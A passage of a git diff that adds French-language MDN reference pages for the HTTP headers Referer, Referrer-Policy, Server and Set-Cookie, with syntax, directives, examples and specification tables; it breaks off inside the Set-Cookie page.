+++ b/files/fr/web/http/headers/referer/index.html
@@ -0,0 +1,86 @@
+---
+title: Referer
+slug: Web/HTTP/Headers/Referer
+tags:
+  - HTTP
+  - Reference
+  - header
+  - referer
+  - referrer
+translation_of: Web/HTTP/Headers/Referer
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête de requête <code><strong>Referer</strong></code> contient l'adresse de la page web précédente à partir de laquelle un lien a été suivi pour demander la page courante. L'en-tête <code>Referer</code> permet aux serveurs d'identifier la provenance des visiteurs d'une page et cette information peut être utilisée à des fins d'analyse, de journalisation ou pour améliorer la politique de cache par exemple.</p>
+
+<div class="warning">
+<p><strong>Important </strong>: Bien que cet en-tête puisse être utilisé à de nombreuses fins légitimes, il peut avoir des effets indésirables sur la sécurité et la vie privée. Voir la page <a href="fr/docs/Web/Security/Referer_header:_privacy_and_security_concerns">Questions de sécurité et de vie privée : quid de l'en-tête <code>referer</code></a> pour plus d'informations et des méthodes d'atténuation.</p>
+</div>
+
+<p>Note : le terme <code>referer</code> est orthographié ainsi bien qu'il s'agisse d'une erreur à partir du mot anglais "<em>referrer</em>". Voir {{interwiki("wikipedia", "HTTP_referer", "L'en-tête <code>referer</code> HTTP sur Wikipédia")}} pour plus de détails.</p>
+
+<p>Un en-tête <code>Referer</code> n'est pas envoyé par les navigateurs si :</p>
+
+<ul>
+ <li>La ressource d'origine est un fichier local ou une URI de données.</li>
+ <li>Une requête non sécurisée HTTP est utilisée alors que la page référente avait été reçue via un protocole sécurisé (HTTPS).</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("En-tête de requête")}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Referer: &lt;url&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>&lt;url&gt;</code></dt>
+ <dd>Une adresse absolue ou partielle de la page web à partir de laquelle la requête vers la page courante a été émise. Les fragements d'URL (i.e. "#section") et les informations d'utilisateurs (i.e. "username:password" dans "https://username:password@example.com/toto/truc/") ne sont pas incluses.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Referer: https://developer.mozilla.org/fr/docs/Web/JavaScript</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "Referer", "5.5.2")}}</td>
+   <td><em>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</em> (Protocole de transfert hypertext (HTTP/1.1): Sémantique et contenu).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("http.headers.Referer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_referer", "L'en-tête HTTP <code>referer</code> sur Wikipédia")}}</li>
+ <li>{{HTTPHeader("Referrer-Policy")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/referrer-policy/index.html b/files/fr/web/http/headers/referrer-policy/index.html
new file mode 100644
index 0000000000..01c3dd9694
--- /dev/null
+++ b/files/fr/web/http/headers/referrer-policy/index.html
@@ -0,0 +1,264 @@
+---
+title: Referrer-Policy
+slug: Web/HTTP/Headers/Referrer-Policy
+tags:
+  - HTTP
+  - HTTP Header
+  - Privacy
+  - Reference
+  - Referrer-Policy
+  - Response
+  - Response Header
+  - Réponse
+  - en-tête
+  - referrer
+translation_of: Web/HTTP/Headers/Referrer-Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">L'en-tête {{glossary("HTTP header")}} <strong><code>Referrer-Policy</code></strong> contrôle la quantité d'<a href="/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns">informations sur le référent (referrer)</a> (envoyées par l'en-tête {{HTTPHeader("Referer")}}) incluses dans la requête.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<div class="blockIndicator note">
+<p>Le nom originel de l'en-tête, {{HTTPHeader("Referer")}}, est une faute de frappe du mot anglais "referrer". L'en-tête <code>Referrer-Policy</code> ne comporte pas cette erreur.</p>
+</div>
+
+<pre class="syntaxbox notranslate">Referrer-Policy: no-referrer
+Referrer-Policy: no-referrer-when-downgrade
+Referrer-Policy: origin
+Referrer-Policy: origin-when-cross-origin
+Referrer-Policy: same-origin
+Referrer-Policy: strict-origin
+Referrer-Policy: strict-origin-when-cross-origin
+Referrer-Policy: unsafe-url
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>no-referrer</code></dt>
+ <dd>L'en-tête {{HTTPHeader("Referer")}} sera entièrement omis. Aucune information sur le référent ne sera envoyée avec les requêtes.</dd>
+ <dt><code>no-referrer-when-downgrade</code> (default)</dt>
+ <dd>C'est le comportement par défaut si aucune valeur n'est spécifiée ou quelle celle donnée est invalide. L'{{glossary("origin")}}, le {{glossary("path")}}, et la {{glossary("querystring")}} de l'URL sont envoyés comme référent quand le niveau de sécurité du protocole reste le même (HTTP vers HTTP, HTTPS vers HTTPS) ou s'améliore (HTTP vers HTTPS) mais ne sont pas envoyés quand si la destination est moins sécurisée (HTTPS vers HTTP).
+ <div class="note">Les navigateurs tentent d'adopter une valeur par défaut plus stricte, précisément <code>strict-origin-when-cross-origin</code> (voir <a href="https://github.com/whatwg/fetch/pull/952">https://github.com/whatwg/fetch/pull/952</a>), envisagez d'utiliser cette valeur (ou une autre encore plus stricte) si possible si vous définissez la valeur de Referrer-Policy.</div>
+ </dd>
+ <dt><code>origin</code></dt>
+ <dd>N'envoie que l'{{glossary("origin")}} du document comme référent.<br>
+ Par exemple, un document à l'adresse <code>https://example.com/page.html</code> enverra le référent <code>https://example.com/</code>.</dd>
+ <dt><code>origin-when-cross-origin</code></dt>
+ <dd>Envoie l'origine, le chemin et les paramètres de requête pour les requêtes {{glossary("Same-origin_policy", "same-origin")}} et seulement l'origine du document dans les autres cas.</dd>
+ <dt><code>same-origin</code></dt>
+ <dd>Un référent sera envoyé aux <a href="/en-US/docs/Web/Security/Same-origin_policy">page de même origine</a>, mais des requêtes vers des adresses externes n'enverront aucune information sur le référent.</dd>
+ <dt><code>strict-origin</code></dt>
+ <dd>N'envoie que l'origine du document comme référent quand le niveau de sécurité du protocole reste le même (HTTPS vers HTTPS) mais n'envoie rien si la destination est moins sécurisée (HTTPS vers HTTP).</dd>
+ <dt><code>strict-origin-when-cross-origin</code></dt>
+ <dd>Envoie l'origine, le chemin et les paramètres de requête pour les requêtes de même origine, n'envoie que l'origine quand le niveau de sécurité du protocole reste le même pour les requêtes vers des adresses externes (HTTPS vers HTTPS) et n'envoie rien si la destination est moins sécurisée (HTTPS vers HTTP).</dd>
+ <dt><code>unsafe-url</code></dt>
+ <dd>Envoie l'origine, le chemin et les paramètres de requête pour toutes les requêtes sans tenir compte du niveau de sécurité.
+ <div class="blockIndicator warning">
+ <p>Cette valeur divulgera des informations potentiellement confidentielles de la part des URL de ressources HTTPS vers des origines non sécurisées. Considérez les conséquences de ce paramétrage avant de vous en servir.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Intégration_avec_HTML">Intégration avec HTML</h2>
+
+<p>Vous pouvez aussi définir des règles de référent au sein d'HTML. Par exemple, vous pouvez définir la règle de référent pour le document entier avec un élément {{HTMLElement("meta")}} dont le <a href="/en-US/docs/Web/HTML/Element/meta#attr-name">name</a> est <code>referrer</code> :</p>
+
+<pre class="brush: html notranslate">&lt;meta name="referrer" content="origin"&gt;</pre>
+
+<p>Ou le définit pour des requêtes spécifiques avec l'attribut <code>referrerpolicy</code> sur les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, {{HTMLElement("script")}}, ou {{HTMLElement("link")}} :</p>
+
+<pre class="brush: html notranslate">&lt;a href="http://example.com" referrerpolicy="origin"&gt;</pre>
+
+<p>Autrement, une <a href="/en-US/docs/Web/HTML/Link_types">relation de lien</a> définie à <code>noreferrer</code> sur un élément <code>a</code>, <code>area</code>, ou <code>link</code> peut être défini :</p>
+
+<pre class="brush: html notranslate">&lt;a href="http://example.com" rel="noreferrer"&gt;</pre>
+
+<div class="blockIndicator warning">
+<p>Comme vu précédemment, la relation de lien <code>noreferrer</code> s'écrit sans trait d'union. Toutefois, quand la règle de référent est spécifiée pour le document entier avec un élément {{HTMLElement("meta")}}, il faut mettre le trait d'union : <code>&lt;meta name="referrer" content="no-referrer"&gt;</code>.</p>
+</div>
+
+<h2 id="Intégration_avec_CSS">Intégration avec CSS</h2>
+
+<p>CSS peut demander des ressources référencées dans des feuilles de styles. Ces ressources suivent une règle de référent aussi :</p>
+
+<ul>
+ <li>Les feuilles de styles CSS externes utilisant la règle par défaut (<code>no-referrer-when-downgrade</code>),  moins qu'elle soit remplacée un l'en-tête HTTP <code>Referrer-Policy</code> dans la réponse de la feuille de styles CSS.</li>
+ <li>Pour les éléments {{HTMLElement("style")}} ou <a href="/en-US/docs/Web/API/HTMLElement/style">attributs <code>style</code></a>, la règle de référent du propriétaire du document est utilisée.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Règle</th>
+   <th scope="col">Document</th>
+   <th scope="col">Navigation vers</th>
+   <th scope="col">Référent</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th><code>no-referrer</code></th>
+   <td>https://example.com/page</td>
+   <td><em>n'importe où</em></td>
+   <td><em>(pas de référent)</em></td>
+  </tr>
+  <tr>
+   <th rowspan="3"><code>no-referrer-when-downgrade</code></th>
+   <td rowspan="3">https://example.com/page</td>
+   <td>https://example.com/otherpage</td>
+   <td>https://example.com/page</td>
+  </tr>
+  <tr>
+   <td>https://mozilla.org</td>
+   <td>https://example.com/page</td>
+  </tr>
+  <tr>
+   <td><strong>http</strong>://example.org</td>
+   <td><em>(pas de référent)</em></td>
+  </tr>
+  <tr>
+   <th><code>origin</code></th>
+   <td>https://example.com/page</td>
+   <td><em>n'importe où</em></td>
+   <td>https://example.com/</td>
+  </tr>
+  <tr>
+   <th rowspan="3"><code>origin-when-cross-origin</code></th>
+   <td rowspan="3">https://example.com/page</td>
+   <td>https://example.com/otherpage</td>
+   <td>https://example.com/page</td>
+  </tr>
+  <tr>
+   <td>https://mozilla.org</td>
+   <td>https://example.com/</td>
+  </tr>
+  <tr>
+   <td><strong>http</strong>://example.com/page</td>
+   <td>https://example.com/</td>
+  </tr>
+  <tr>
+   <th rowspan="2"><code>same-origin</code></th>
+   <td rowspan="2">https://example.com/page</td>
+   <td>https://example.com/otherpage</td>
+   <td>https://example.com/page</td>
+  </tr>
+  <tr>
+   <td>https://mozilla.org</td>
+   <td><em>(pas de référent)</em></td>
+  </tr>
+  <tr>
+   <th rowspan="3"><code>strict-origin</code></th>
+   <td rowspan="2">https://example.com/page</td>
+   <td>https://mozilla.org</td>
+   <td>https://example.com/</td>
+  </tr>
+  <tr>
+   <td><strong>http</strong>://example.org</td>
+   <td><em>(pas de référent)</em></td>
+  </tr>
+  <tr>
+   <td><strong>http</strong>://example.com/page</td>
+   <td><em>n'importe où</em></td>
+   <td>http://example.com/</td>
+  </tr>
+  <tr>
+   <th rowspan="3"><code>strict-origin-when-cross-origin</code></th>
+   <td rowspan="3">https://example.com/page</td>
+   <td>https://example.com/otherpage</td>
+   <td>https://example.com/page</td>
+  </tr>
+  <tr>
+   <td>https://mozilla.org</td>
+   <td>https://example.com/</td>
+  </tr>
+  <tr>
+   <td><strong>http</strong>://example.org</td>
+   <td><em>(pas de référent)</em></td>
+  </tr>
+  <tr>
+   <th><code>unsafe-url</code></th>
+   <td>https://example.com/page?q=123</td>
+   <td><em>n'importe où</em></td>
+   <td>https://example.com/page?q=123</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Spécifier_une_règle_par_défaut">Spécifier une règle par défaut</h3>
+
+<p>Si vous voulez spécifier une règle à appliquer par défaut dans les où la règle voulue n'est pas supportée par les navigateurs, utilisez un liste de valeurs séparées par des virgules avec la règle voulue fournie en dernière position :</p>
+
+<pre class="notranslate">Referrer-Policy: no-referrer, strict-origin-when-cross-origin</pre>
+
+<p>Ici, <code>no-referrer</code> ne sera utilisée que si <code>strict-origin-when-cross-origin</code> n'est pas supportée par le navigateur.</p>
+
+<p class="note">Spécifier plusieurs valeurs n'est supporté que dans l'en-tête HTTP <code>Referrer-Policy</code> et non dans l'attribut <code>referrerpolicy</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://w3c.github.io/webappsec-referrer-policy/#referrer-policy-header">Referrer Policy </a></td>
+   <td>Brouillon de l'éditeur.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("http.headers.Referrer-Policy")}}</p>
+
+<div class="note">
+<ul>
+ <li>Version 53 et plus, Gecko offre la possibilité aux utilisateurs de définir leur valeur par défaut de <code>Referrer-Policy</code> dans <code>about:config</code>, l'option s'appelant <span class="quote"> <code>network.http.referer.userControlPolicy</code>.</span></li>
+ <li>Version 59 et plus (Voir <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=587523">#587523</a>), il a été remplacé par <code>network.http.referer.defaultPolicy</code> et <code>network.http.referer.defaultPolicy.pbmode</code>.</li>
+</ul>
+
+<p>Les valeurs permises sont :</p>
+
+<ul>
+ <li>0 — <code>no-referrer</code></li>
+ <li>1 — <code>same-origin</code></li>
+ <li>2 — <code>strict-origin-when-cross-origin</code></li>
+ <li>3 — <code>no-referrer-when-downgrade</code> (par défaut)</li>
+</ul>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li>
+ <li>En utilisant <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> : {{domxref("Request.referrerPolicy")}}</li>
+ <li>La directive obsolète {{HTTPHeader("Content-Security-Policy/referrer", "referrer")}} {{Obsolete_Inline}} de l'en-tête <span style="white-space: nowrap;">{{HTTPHeader("Content-Security-Policy")}}</span>.</li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li>
+ <li>
+  <p><a href="https://blog.mozilla.org/security/2015/01/21/meta-referrer/">Tighter Control Over Your Referrers – Mozilla Security Blog</a></p>
+ </li>
+</ul>
diff --git a/files/fr/web/http/headers/serveur/index.html b/files/fr/web/http/headers/serveur/index.html
new file mode 100644
index 0000000000..d5712fc7ac
--- /dev/null
+++ b/files/fr/web/http/headers/serveur/index.html
@@ -0,0 +1,72 @@
+---
+title: Serveur
+slug: Web/HTTP/Headers/Serveur
+tags:
+  - HTTP
+  - Reference
+  - header
+translation_of: Web/HTTP/Headers/Server
+---
+<div>{{ HTTPSidebar }}</div>
+
+<div> </div>
+
+<p>Le paramètre d'entête <code><strong>Server</strong></code> contient des informations à propos du système (ou sous-système) en place sur le serveur qui s'occupe de la requête.</p>
+
+<p><span id="result_box" lang="fr"><span>Il est préférable d'éviter les valeurs</span></span><span lang="fr"><span> excessivement longues et/ou détaillées : elles peuvent révéler des détails internes qui pourraient rendre (un peu) plus facile une attaque et l'exploitation d'une éventuelle faille de sécurité.</span></span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'entête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Server: &lt;valeur&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;valeur&gt;</dt>
+ <dd><span id="result_box" lang="fr"><span>Le nom du système (ou sous-système) qui gère les requêtes.</span></span></dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Server: Apache/2.4.1 (Unix)</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Server", "7.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navigateurs_compatibles">Navigateurs compatibles</h2>
+
+<p class="hidden"><span id="result_box" lang="fr"><span>La table de compatibilité de cette page est générée à partir de données structurées.</span> <span>Si vous souhaitez partager des données, consultez https://github.com/mdn/browser-compat-data et envoyez-nous une demande.</span></span></p>
+
+<p>{{Compat("http.headers.Server")}}</p>
+
+<h2 id="Voir_également"><span class="short_text" id="result_box" lang="fr"><span>Voir également</span></span></h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/set-cookie/index.html b/files/fr/web/http/headers/set-cookie/index.html
new file mode 100644
index 0000000000..fa24cfedf4
--- /dev/null
+++ b/files/fr/web/http/headers/set-cookie/index.html
@@ -0,0 +1,200 @@
+---
+title: Set-Cookie
+slug: Web/HTTP/Headers/Set-Cookie
+tags:
+  - Cookies
+  - HTTP
+  - Reference
+  - Response
+  - TopicStub
+  - header
+  - samesite
+translation_of: Web/HTTP/Headers/Set-Cookie
+---
+<p><span class="seoSummary">L'entête de réponse HTTP <strong><code>Set-Cookie</code></strong> est utilisé pour envoyer un cookie depuis le serveur à l'agent utilisateur pour qu'il puisse le renvoyer dans l'avenir.</span></p>
+
+<p>Pour plus d'information, voir le <a href="/fr/docs/Web/HTTP/Cookies">guide sur les cookies HTTP</a>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type de l'entête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Expires=&lt;date&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Max-Age=&lt;non-zero-digit&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Path=&lt;path-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Secure
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; HttpOnly
+
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Strict
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Lax
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=None
+
+// Plusieurs directives sont aussi pussibles, par exemple:
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;; Secure; HttpOnly
+</pre>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt><code>&lt;cookie-name&gt;=&lt;cookie-value&gt;</code></dt>
+ <dd>Un cookie commence avec la paire nom-valeur:
+ <ul>
+  <li>Un <code>&lt;cookie-name&gt;</code> peut-être de n'importe que caractères US-ASCII, à part les caractères de contrôle, d'espace, de tabulation et les caractères de séparation: <code>( ) &lt; &gt; @ , ; : \ " / [ ] ? = { }</code>.</li>
+  <li>Un <code>&lt;cookie-value&gt;</code> peut éventuellement être entouré de doubles guillemets et inclut tout les caractères US-ASCII sauf les caractères de contrôle, {{glossary("Whitespace")}}, doubles guillemets, virgule, point-virgule et antislash. <strong>Encodage</strong>: plusieurs implémentations font un codage d'URL, cependant ce n'est pas obligatoire par la spécification RCF même si cela peut aider pour avoir des caractères permis.</li>
+  <li><strong><code>__Secure-</code> préfixe</strong> {{non-standard_inline}}: Les cookies commençant par <code>__Secure-</code> (le tiret fait partit du préfixe) doivent être définit avec le drapeau <code>secure</code> depuis une page sécurisée (HTTPS).</li>
+  <li><strong><code>__Host-</code> préfixe</strong> {{non-standard_inline}}: Les cookies commençant par <code>__Host-</code> doivent être définit avec le drapeau <code>secure</code>, depuis une page sécurisée (HTTPS), ne doivent pas avoir de domaine spécifié (et donc pas envoyé à un sous-domaine) et le chemin doit être <code>/</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>Expires=&lt;date&gt;</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Le temps de vie maximal d'un cookie sous la forme d'une Date HTTP. Voir {{HTTPHeader("Date")}} pour le format requis.</p>
+
+ <p>Si non spécifié, le cookie devient un <strong>cookie de session</strong>. Une session finit quand le client s'arrête et les cookies de sessions seront supprimés.</p>
+
+ <div class="blockIndicator warning">
+ <p><strong>Attention:</strong> Plusieurs navigateurs ont un système de récupération de session qui enregistre les onglets et les restaure quand le navigateur redémarre. Les cookies de session seront aussi restaurés comme si le navigateur ne s'était jamais arrêté.</p>
+ </div>
+
+ <p>Quand la date expire, la date limite est relative au <em>client</em> qui le supprime, pas le serveur.</p>
+ </dd>
+ <dt><code>Max-Age=&lt;number&gt; </code>{{optional_inline}}</dt>
+ <dd>Le nombre de secondes avant son expiration. Une valeur nulle ou négative fera expirer immédiatement le cookie. Si il y a <code>Expires</code> et <code>Max-Age</code> configuré, <code>Max-Age</code> sera prioritaire.</dd>
+ <dt><code>Domain=&lt;domain-value&gt;</code> {{optional_inline}}</dt>
+ <dd>Le domaine où le cookie sera envoyé.
+ <ul>
+  <li>Si omis, la valeur par défaut sera l'hôte de l'URL du document courant. Les sous domaines ne seront pas inclus.</li>
+  <li>Contrairement aux anciennes spécifications, le point au début dans les noms de domaines (<code>.example.com</code>) est ignoré.</li>
+  <li>Plusieurs valeurs de domaine ne sont pas permis. Si un nom de domaine est spécifié, les sous domaines sont toujours inclus.</li>
+ </ul>
+ </dd>
+ <dt><code>Path=&lt;path-value&gt;</code> {{optional_inline}}</dt>
+ <dd>Un chemin doit exister dans l'URL de requête, ou le navigateur ne va pas envoyer d'entête <code>Cookie</code>.</dd>
+ <dd>La barre oblique (<code>/</code>) est interprétée comme un séparateur de répertoire. Les sous répertoires sont inclus, par exemple: pour <code>Path=/docs</code> les répertoires <code>/docs</code>, <code>/docs/Web/</code> et <code>/docs/Web/HTTP</code> sont concernés.</dd>
+ <dt id="Secure"><code>Secure</code> {{optional_inline}}</dt>
+ <dd>Un cookie sécurisé est envoyé uniquement si la requête est fait en <code>https:</code>. Cependant des informations confidentielles ne devraient jamais être enregistrées dans un cookie classique, en effet le mécanique est non sécurisé et ne chiffre aucune information.
+ <p class="note"><strong>Note:</strong> Les sites non sécurisés (<code>http:</code>) ne peuvent plus définir des cookie «Secure» désormais (depuis Chrome 52+ et Firefox 52+).</p>
+ </dd>
+ <dt id="HttpOnly"><code>HttpOnly</code> {{optional_inline}}</dt>
+ <dd>Empêche JavaScript d'accéder au cookie; par exemple, au travers de la propriété {{domxref("Document.cookie")}}, de l'API {{domxref("XMLHttpRequest")}} ou de l'API {{domxref("Request")}}. Cela protège des attaques <em>cross-site scripting</em> ({{Glossary("XSS")}}).</dd>
+ <dt id="SameSite"><code>SameSite=&lt;samesite-value&gt;</code> {{optional_inline}}</dt>
+ <dd>
+ <ul>
+  <li><code>Strict</code>: Le navigateur envoie le cookie uniquement pour les requêtes sur le même site (c'est à dire, les requêtes où le cookie a été défini). Si la requête vient d'une autre URL que celle courante, aucun cookie avec d'attribut <code>SameSite=Strict</code> n'est envoyé.</li>
+  <li><code>Lax</code>: Le cookie n'est pas envoyé pour des requêtes <strong>croos-site</strong>, comme le chargement d'image ou de cadre, mais est envoyé quand un utilisateur va sur une autre site, comme lorsqu’il suit un lien.</li>
+  <li><code>None</code>: Le navigateur envoie le cookie à la fois pour les requêtes cross-site et same-site.</li>
+ </ul>
+
+ <p>S'assurer qu'un cookie ne peut pas être envoyé avec des requêtes cross-origin empêche une partie des attaques <em>Cross-Site Request Forgery</em> ({{Glossary("CSRF")}}).</p>
+
+ <p class="note">Les navigateurs sont en migration pour que par défaut <a href="https://www.chromestatus.com/feature/5088147346030592"><code>(en) SameSite=Lax</code></a>. Si un cookie est doit être envoyé en cross-site, définissez explicitement la valeur <strong>None</strong>. Cette valeur nécessite l’attribut <a href="#Secure">Secure</a>.</p>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cookie_de_session">Cookie de session</h3>
+
+<p><strong>Les cookies de session</strong> sont supprimés quand le client s'éteint. Les cookies sont des cookies de session s'ils n'ont pas de directive <code>Expires</code> ou <code>Max-Age.</code></p>
+
+<pre class="notranslate">Set-Cookie: sessionId=38afes7a8</pre>
+
+<h3 id="Cookie_permanent">Cookie permanent</h3>
+
+<p>Au lien d'expirer quand le client s'éteint, le <strong>cookies permanent</strong> expirent à une date spécifique (<code>Expires</code>) ou après une valeur de temps (<code>Max-Age</code>).</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Max-Age=2592000</pre>
+
+<h3 id="Domaines_invalides">Domaines invalides</h3>
+
+<p>Un cookie pour un domaine qui n'inclut pas le serveur qui le défini doit être <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">(en) rejeté par l'agent utilisateur</a>.</p>
+
+<p>Le cookie suivant sera rejeté si le serveur est hébergé sur <code>originalcompany.com</code>:</p>
+
+<pre class="notranslate">Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk</pre>
+
+<p>Un cookie pour un sous-domaine du domaine servi sera rejeté.</p>
+
+<p>Le cookie suivant sera rejeté si le serveur est hébergé sur <code>example.com</code>:</p>
+
+<pre class="notranslate">Set-Cookie: sessionId=e8bb43229de9; Domain=foo.example.com</pre>
+
+<h3 id="Préfixes_de_cookie">Préfixes de cookie</h3>
+
+<p>Les cookies préfixés par <code>__Secure-</code> ou <code>__Host-</code> peuvent être utilisés seulement s'ils sont définits avec l'attribut <code>secure</code> depuis une origine sécurisée (HTTPS).</p>
+
+<p>De plus, les cookies avec le préfixe <code>__Host-</code> doivent avoir doivent avoir un <code>path</code> valant <code>/</code> (donc tout les chemins de l'hôte) et ne doit pas avoir d'attribut <code>Domain</code>.</p>
+
+<div class="blockIndicator warning">
+<p>Pour les clients qui n'implémentent pas les préfixes aux cookies, vous ne pouvez pas compter sur ses assurances, les cookies avec un préfixe seront toujours acceptés.</p>
+</div>
+
+<pre class="notranslate">// Les deux sont acceptés s'ils viennent d'une origine sécurisée (HTTPS)
+Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
+Set-Cookie: __Host-ID=123; Secure; Path=/
+
+// Rejeté car l'attribut Secure est manquant
+Set-Cookie: __Secure-id=1
+
+// Rejeté car l'attribut Path=/ est manquant
+Set-Cookie: __Host-id=1; Secure
+
+// Rejeté à cause du domaine qui est spécifié
+Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td>
+   <td>HTTP State Management Mechanism</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05">draft-ietf-httpbis-rfc6265bis-05</a></td>
+   <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Set-Cookie", 5)}}</p>
+
+<h2 id="Note_de_compatibilité">Note de compatibilité</h2>
+
+<ul>
